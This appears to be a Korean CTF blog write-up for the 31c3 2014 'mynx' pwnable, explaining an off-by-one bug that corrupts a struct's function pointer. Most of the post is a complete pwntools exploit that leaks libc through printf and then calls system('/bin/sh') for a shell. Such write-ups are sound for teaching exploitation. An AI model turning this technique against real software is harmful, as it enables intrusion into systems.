-
31c3ctf 2014 mynxPwnable/CTF 2017. 10. 9. 01:28여태까지 문제들을 풀이를 너무 보면서 한것같아서 이번문제부터는 최대한 풀이를 안 보고 풀어야겠다.시작메뉴는 이런식으로 acii_art 추가, 출력, 세부메뉴? 등이 있다.취약점은 세부메뉴에서 comment 추가시키는 부분에 있는데 데이터부분을 252byte를 입력받는데 off by one 취약점이 생긴다.1byte로 인해 다음 구조체에 플래그 부분을 조작할수있게된다.
아래 구조체 분석을 보면 함수 포인터가있는데 함수포인터는 select ascii_art 부분에 3번 메뉴로 있다.
1. or연산2. LOLO 초기화3. 소문자 초기화기능은 이렇다.그리고 문제에서 나오는 구조체는 아래와 같다.123456789101112131415ascii art[0] = 0x48[1] = index[5] = (&off_804A890 + 5 * input) == filter #function pointer()[9] = datacomment[0] = 0x36[1] = index[5] = datacs 누가봐도 구조체에 함수 포인터가 나오는거보니 함수 포인터를 조작하는 문제인것같다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111from pwn import *p=process("./mynx")elf=ELF("./mynx")def add(filter_,ascii_art):p.recvuntil('> ')p.sendline("1")p.recvuntil('> ')p.sendline(str(filter_))p.recv(1024)p.send(ascii_art)def browse():p.recvuntil('> ')p.sendline("2")def select(id_):p.recvuntil('> ')p.sendline("3")p.recvuntil('> ')p.sendline(str(id_))def add_com(comment):p.recvuntil('> ')p.sendline("1")p.recvuntil('> ')p.send(comment)def remove_com():p.recvuntil('> ')p.sendline("2")def apply_com():p.recvuntil('> ')p.sendline("3")def back():p.recvuntil('> ')p.sendline("0")add(0,"A"*247) #1add(1,"B"*247) #2select(1)add_com("a"*251)back()add(1,"C"*247) #3select(2)add_com("b"*251)back()select(3)add_com(p32(elf.plt['printf'])+"%11$p")back()select(1)remove_com()add_com("a"*251+"\x37")back()select(2)remove_com()add_com("b"*251+"\x49")back()select(3)apply_com()apply_com()libc_start_main = int(p.recv(10),16) - 247libc_base = libc_start_main - 0x18540system = libc_base + 0x3ada0print hex(libc_start_main)print hex(libc_base)print hex(system)back()add(0,"D"*247) #4add(1,"E"*247) #5select(4)add_com("d"*251)back()add(1,"F"*247) #6select(5)add_com("e"*251)back()select(6)add_com(p32(system)+"/bin/sh\00")back()select(4)remove_com()add_com("a"*251+"\x37")back()select(5)remove_com()add_com("b"*251+"\x49")back()select(6)apply_com()p.interactive()cs 취약점을 찾았는데 찾은지 모르고 삽질을 하는 바람에 푸는데 시간이 조금 오래걸린것같다.
'Pwnable > CTF' 카테고리의 다른 글
RCTF 2015 welpwn (0) 2017.11.04 Belluminar 2016 remuheap (0) 2017.10.19 bctf 2016 memo (0) 2017.10.02 hitcon 2014 stkof (0) 2017.09.04 크리스마스CTF 2016 house_of_daehee (0) 2017.08.28